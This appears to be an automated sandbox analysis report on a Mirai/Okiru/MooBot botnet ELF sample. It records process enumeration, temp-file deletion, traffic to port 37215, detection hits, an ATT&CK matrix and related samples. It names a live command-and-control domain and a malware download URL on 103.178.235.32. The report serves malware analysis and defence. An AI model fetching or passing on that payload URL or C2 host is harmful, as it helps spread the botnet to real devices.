Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/236/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/237/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/238/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/239/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/914/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/3636/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/19/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/240/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/3095/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/241/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/242/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/244/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/245/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/125/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/246/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/126/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/5/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/247/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/127/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/248/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/128/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/7/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/249/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/129/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/8/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/1906/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/802/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/20/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/21/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/22/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/23/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/24/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/25/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/26/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/27/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/3660/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/28/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/29/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/3662/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/3420/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/1482/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/490/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/1480/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/250/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/371/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/130/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/251/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/131/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/252/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/132/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/253/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/254/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/1238/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/134/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/255/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/256/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/257/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/378/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/3413/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/258/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/259/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/1475/cmdline	Jump to behavior
Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/936/cmdline	Jump to behavior

Source: /usr/bin/dash (PID: 5438)

Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.86gqOUrR2u /tmp/tmp.DTOeu9GVri /tmp/tmp.9IMAeGcCfW

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 42704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52682 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42704 -> 37215

Source: /tmp/mBDisulSAb.elf (PID: 5420)

Queries kernel information via 'uname':

Jump to behavior

Source: mBDisulSAb.elf, 5420.1.00007ffc9f447000.00007ffc9f468000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sh4
Source: mBDisulSAb.elf, 5420.1.0000560813fca000.000056081402d000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sh4
Source: mBDisulSAb.elf, 5420.1.00007ffc9f447000.00007ffc9f468000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-sh4/tmp/mBDisulSAb.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/mBDisulSAb.elf
Source: mBDisulSAb.elf, 5420.1.0000560813fca000.000056081402d000.rw-.sdmp	Binary or memory string: V5!/etc/qemu-binfmt/sh4

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: mBDisulSAb.elf, type: SAMPLE
Source: Yara match	File source: 5420.1.00007fa318400000.00007fa31841b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mBDisulSAb.elf PID: 5420, type: MEMORYSTR

Yara detected Okiru

Source: Yara match	File source: mBDisulSAb.elf, type: SAMPLE
Source: Yara match	File source: 5420.1.00007fa318400000.00007fa31841b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mBDisulSAb.elf PID: 5420, type: MEMORYSTR

Remote Access Functionality

Detected Mirai

Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response

Yara detected Mirai

Source: Yara match	File source: mBDisulSAb.elf, type: SAMPLE
Source: Yara match	File source: 5420.1.00007fa318400000.00007fa31841b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mBDisulSAb.elf PID: 5420, type: MEMORYSTR

Yara detected Okiru

Source: Yara match	File source: mBDisulSAb.elf, type: SAMPLE
Source: Yara match	File source: 5420.1.00007fa318400000.00007fa31841b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mBDisulSAb.elf PID: 5420, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	1 File Deletion	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	2 Ingress Tool Transfer	Scheduled Transfer	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
mBDisulSAb.elf	45%	Virustotal		Browse
mBDisulSAb.elf	100%	Avira	EXP/ELF.Mirai.Gen.Z.A

Dropped Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
haha.skyljne.click	12%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://103.178.235.32/huhu.mpsl;	100%	Avira URL Cloud	malware
http://103.178.235.32/huhu.mpsl;	3%	Virustotal		Browse

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
haha.skyljne.click	103.178.235.32	true	true	12%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	mBDisulSAb.elf	false		high
http://103.178.235.32/huhu.mpsl;	mBDisulSAb.elf	false	3%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/soap/envelope/	mBDisulSAb.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
213.139.212.4	unknown	Ukraine	208405	SINET-ISP-ASUA	false
208.236.52.115	unknown	United States	4208	THE-ISERV-COMPANYUS	false
186.39.62.42	unknown	Argentina	22927	TelefonicadeArgentinaAR	false
109.106.253.226	unknown	Serbia	199493	NETNET-ASRS	false
193.26.160.183	unknown	Germany	31121	WPWEB-ASIT	false
46.24.232.179	unknown	Spain	12430	VODAFONE_ESES	false
123.50.227.220	unknown	Japan	9614	OCTOitaCableTelecomColtdJP	false
103.157.99.17	unknown	unknown	134687	TWIDC-AS-APTWIDCLimitedHK	false
157.252.160.100	unknown	United States	3592	TRINCOLL-ASUS	false
41.165.243.47	unknown	South Africa	36937	Neotel-ASZA	false
41.226.143.41	unknown	Tunisia	37705	TOPNETTN	false
163.109.212.30	unknown	France	17816	CHINA169-GZChinaUnicomIPnetworkChina169Guangdongprovi	false
197.232.204.102	unknown	Kenya	36866	JTLKE	false
187.45.106.111	unknown	Brazil	28146	MHNETTELECOMBR	false
195.60.171.240	unknown	United Kingdom	198395	MINFIN-AS198395-ASUA	false
115.179.183.215	unknown	Japan	2519	VECTANTARTERIANetworksCorporationJP	false
197.49.247.218	unknown	Egypt	8452	TE-ASTE-ASEG	false
130.50.147.80	unknown	United States	15601	BaringInvestmentServicesGB	false
93.164.204.6	unknown	Denmark	3292	TDCTDCASDK	false
41.233.132.40	unknown	Egypt	8452	TE-ASTE-ASEG	false
36.126.45.80	unknown	China	4847	CNIX-APChinaNetworksInter-ExchangeCN	false
41.34.127.130	unknown	Egypt	8452	TE-ASTE-ASEG	false
157.106.185.101	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
197.48.76.250	unknown	Egypt	8452	TE-ASTE-ASEG	false
157.215.69.40	unknown	United States	4704	SANNETRakutenMobileIncJP	false
105.150.189.55	unknown	Morocco	6713	IAM-ASMA	false
197.103.113.132	unknown	South Africa	3741	ISZA	false
157.170.36.31	unknown	United States	22192	SSHENETUS	false
171.130.35.44	unknown	United States	9874	STARHUB-MOBILEStarHubLtdSG	false
42.133.6.73	unknown	China	4249	LILLY-ASUS	false
204.213.22.108	unknown	United States	1239	SPRINTLINKUS	false
221.245.185.149	unknown	Japan	17506	UCOMARTERIANetworksCorporationJP	false
121.243.246.242	unknown	India	17908	TCISLTataCommunicationsIN	false
157.167.18.243	unknown	Austria	44444	FORCEPOINT-CLOUD-ASEU	false
41.152.179.74	unknown	Egypt	36992	ETISALAT-MISREG	false
157.203.74.37	unknown	United Kingdom	1759	TSF-IP-CORETeliaFinlandOyjEU	false
24.94.53.11	unknown	United States	11351	TWC-11351-NORTHEASTUS	false
144.250.111.143	unknown	United States	2611	BELNETBE	false
197.240.242.20	unknown	unknown	37705	TOPNETTN	false
154.210.135.144	unknown	Seychelles	136800	XIAOZHIYUN1-AS-APICIDCNETWORKUS	false
167.51.254.47	unknown	Canada	2665	CDAGOVNCA	false
117.91.39.86	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
131.65.155.44	unknown	United States	27064	DNIC-ASBLK-27032-27159US	false
83.148.15.8	unknown	Czech Republic	29208	DIALTELECOM-ASDialTelecomasSK	false
197.161.195.4	unknown	Egypt	24863	LINKdotNET-ASEG	false
174.228.87.31	unknown	United States	22394	CELLCOUS	false
57.188.132.129	unknown	Belgium	205080	SITA-CORPORATEBE	false
130.253.143.221	unknown	United States	14041	AS14041US	false
201.85.213.125	unknown	Brazil	15180	UOLDIVEOSABR	false
198.234.206.215	unknown	United States	19902	NET-STATE-OHIOUS	false
41.76.191.250	unknown	Kenya	37225	NETWIDEZA	false
197.141.89.116	unknown	Algeria	36891	ICOSNET-ASDZ	false
80.188.65.193	unknown	Czech Republic	5610	O2-CZECH-REPUBLICCZ	false
41.193.29.4	unknown	South Africa	11845	Vox-TelecomZA	false
157.155.117.54	unknown	Australia	17983	COLESMYER-AS-APColesMyerAU	false
160.74.187.71	unknown	Japan	2513	JSTJapanScienceandTechnologyAgencyJP	false
110.40.133.27	unknown	China	59011	YLWLBeijingYunlinNetworkTechnologyCoLtdCN	false
89.120.230.251	unknown	Romania	9050	RTDBucharestRomaniaRO	false
218.84.206.209	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
50.179.93.28	unknown	United States	7922	COMCAST-7922US	false
98.218.186.243	unknown	United States	7922	COMCAST-7922US	false
197.100.207.217	unknown	South Africa	3741	ISZA	false
157.176.29.158	unknown	United States	22192	SSHENETUS	false
40.90.70.16	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
200.58.93.71	unknown	Bolivia	27839	ComtecoLtdaBO	false
68.31.71.85	unknown	United States	10507	SPCSUS	false
116.243.70.195	unknown	China	4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	false
177.3.224.20	unknown	Brazil	8167	BrasilTelecomSA-FilialDistritoFederalBR	false
134.143.169.211	unknown	Netherlands	32432	COFANUS	false
41.247.245.225	unknown	South Africa	5713	SAIX-NETZA	false
207.244.67.141	unknown	United States	30633	LEASEWEB-USA-WDCUS	false
197.17.114.153	unknown	Tunisia	37693	TUNISIANATN	false
41.57.44.190	unknown	South Africa	22750	BCSNETZA	false
87.247.144.14	unknown	Russian Federation	49505	SELECTELRU	false
77.247.57.64	unknown	Saudi Arabia	42808	VIRTELA-NET-VNLAMS1NL	false
205.95.237.135	unknown	United States	647	DNIC-ASBLK-00616-00665US	false
83.167.13.207	unknown	Russian Federation	28890	INSYS-ASINSYSISPRU	false
157.148.177.54	unknown	China	17816	CHINA169-GZChinaUnicomIPnetworkChina169Guangdongprovi	false
134.22.252.141	unknown	Canada	10702	INL-ASUS	false
201.254.54.39	unknown	Argentina	22927	TelefonicadeArgentinaAR	false
166.233.227.172	unknown	United States	6614	USCC-ASNUS	false
41.176.104.139	unknown	Egypt	36992	ETISALAT-MISREG	false
101.167.117.109	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	false
142.143.248.95	unknown	Canada	808	GONET-ASN-1CA	false
35.138.37.166	unknown	United States	33363	BHN-33363US	false
113.169.207.236	unknown	Viet Nam	45899	VNPT-AS-VNVNPTCorpVN	false
157.26.25.222	unknown	Switzerland	559	SWITCHPeeringrequestspeeringswitchchEU	false
116.201.93.165	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
73.65.85.72	unknown	United States	7922	COMCAST-7922US	false
111.112.31.98	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
223.15.237.29	unknown	China	132153	CT-SHANXI-MAN-2No3Shu-MaRoadCN	false
209.200.105.147	unknown	United States	14992	CRYSTALTECHUS	false
104.210.127.82	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
69.214.215.112	unknown	United States	7018	ATT-INTERNET4US	false
158.67.177.203	unknown	European Union	21286	KPN-CORPORATE-MARKETNL	false
44.92.69.23	unknown	United States	7377	UCSDUS	false
135.102.71.242	unknown	United States	18676	AVAYAUS	false
157.88.2.88	unknown	Spain	766	REDIRISRedIRISAutonomousSystemES	false
52.80.242.57	unknown	China	55960	BJ-GUANGHUAN-APBeijingGuanghuanXinwangDigitalCN	false
167.144.200.128	unknown	United States	25899	LSNETUS	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
213.139.212.4	pZ2Vbg1GNb.elf	Get hash	malicious	Mirai	Browse
213.139.212.4	bTC3YO5Z8c	Get hash	malicious	Mirai	Browse
157.252.160.100	3SJiSVf4fz.elf	Get hash	malicious	Mirai, Moobot	Browse
157.252.160.100	7GpkuBdue9	Get hash	malicious	Mirai	Browse
197.49.247.218	x86.elf	Get hash	malicious	Mirai	Browse
	x86	Get hash	malicious	Mirai	Browse
	fvCzM69FBg	Get hash	malicious	Mirai	Browse
	2X3ziKfjMT	Get hash	malicious	Unknown	Browse
	7vrYkhBeuq	Get hash	malicious	Mirai	Browse
186.39.62.42	F6kFistoPj	Get hash	malicious	Mirai	Browse
41.165.243.47	sora.arm.elf	Get hash	malicious	Mirai	Browse
	7Tg1wgEn4l.elf	Get hash	malicious	Mirai, Moobot	Browse
	YJPxku5Vo0.elf	Get hash	malicious	Mirai, Moobot	Browse
	ePKfwxZte9.elf	Get hash	malicious	Mirai	Browse
	Z0xvzu3YvS	Get hash	malicious	Mirai	Browse
	sora.arm	Get hash	malicious	Mirai	Browse
41.226.143.41	UcvrbDcXxR	Get hash	malicious	Mirai	Browse
197.232.204.102	VJaseV5ZDZ.elf	Get hash	malicious	Mirai, Moobot	Browse
	bk.arm4-20220929-1806.elf	Get hash	malicious	Mirai	Browse
	qlBLpJzk7k	Get hash	malicious	Mirai	Browse
123.50.227.220	Wns7odRLbP	Get hash	malicious	Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
haha.skyljne.click	5RrNZaKZVO.elf	Get hash	malicious	Mirai, Okiru	Browse	103.178.235.32
	huhu.mips.elf	Get hash	malicious	Mirai, Okiru	Browse	103.178.235.32
	huhu.x86.elf	Get hash	malicious	Mirai, Okiru	Browse	103.178.235.32
	huhu.arm7.elf	Get hash	malicious	Mirai, Okiru	Browse	103.178.235.32
	huhu.arm5.elf	Get hash	malicious	Mirai, Okiru	Browse	103.178.235.32
	huhu.mpsl.elf	Get hash	malicious	Mirai, Okiru	Browse	103.178.235.32
	huhu.arm.elf	Get hash	malicious	Mirai, Okiru	Browse	103.178.235.32
	huhu.x86_64.elf	Get hash	malicious	Mirai, Okiru	Browse	103.178.235.32
	huhu.arm5-20240212-0910.elf	Get hash	malicious	Mirai, Okiru	Browse	103.174.73.85
	huhu.x86_64-20240212-0910.elf	Get hash	malicious	Mirai, Okiru	Browse	103.174.73.85

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WPWEB-ASIT	KKveTTgaAAsecNNaaaa.x86.elf	Get hash	malicious	Mirai	Browse	31.217.202.248
	YQ4yXRtEYc.elf	Get hash	malicious	Unknown	Browse	193.26.160.197
	uwQxvp3R07.elf	Get hash	malicious	Mirai, Moobot	Browse	193.26.160.161
	sh4	Get hash	malicious	Mirai	Browse	193.26.160.171
	lvvh0q0Zac	Get hash	malicious	Mirai	Browse	193.26.160.167
SINET-ISP-ASUA	sGGQ6sAexo.elf	Get hash	malicious	Mirai, Moobot	Browse	213.139.212.26
	vb9gf0WNdf.elf	Get hash	malicious	Mirai	Browse	213.139.212.34
	m1vvw0vLkD.elf	Get hash	malicious	Mirai	Browse	213.139.212.76
	H9K97Ndy0z.elf	Get hash	malicious	Mirai	Browse	213.139.212.22
	JKtUqTCOma.elf	Get hash	malicious	Mirai	Browse	213.139.212.57
	pitNTFQSoH.elf	Get hash	malicious	Mirai	Browse	213.139.212.53
	7WUpqmSezR.elf	Get hash	malicious	Mirai	Browse	213.139.212.32
	Bm1larTFAW.elf	Get hash	malicious	Mirai	Browse	213.139.212.39
	armv5l-20230706-2014.elf	Get hash	malicious	Unknown	Browse	213.139.212.78
	pZ2Vbg1GNb.elf	Get hash	malicious	Mirai	Browse	213.139.212.4
THE-ISERV-COMPANYUS	la.bot (1).mips.elf	Get hash	malicious	Unknown	Browse	206.67.163.233
	lxmddGFMLf.elf	Get hash	malicious	Mirai	Browse	208.246.141.50
	wtN5CU3IaE.elf	Get hash	malicious	Mirai	Browse	208.253.35.161
	mu3Tajj6Po.elf	Get hash	malicious	Unknown	Browse	208.253.35.152
	TjdM2wcgSz.elf	Get hash	malicious	Mirai	Browse	208.231.26.100
	huhu.x86-20240212-0910.elf	Get hash	malicious	Mirai, Okiru	Browse	208.226.62.229
	x86.elf	Get hash	malicious	Mirai	Browse	208.238.226.128
	VjVT0Nqfys.elf	Get hash	malicious	Mirai	Browse	208.239.176.49
	L8ydGorT46.elf	Get hash	malicious	Mirai	Browse	208.230.83.72
	nhhqejOP5o.elf	Get hash	malicious	Mirai	Browse	208.243.193.8
NETNET-ASRS	5fCgBvmRm8.elf	Get hash	malicious	Mirai	Browse	109.106.253.220
	Fiyat_10243975_KARDAG_A.S_scan.pdf.exe	Get hash	malicious	AgentTesla, RedLine	Browse	109.106.250.131
	FIYAT_TALEBI_N#U00b0DE2809_ACIL_LUTFEN_230907.exe	Get hash	malicious	AgentTesla	Browse	109.106.250.131
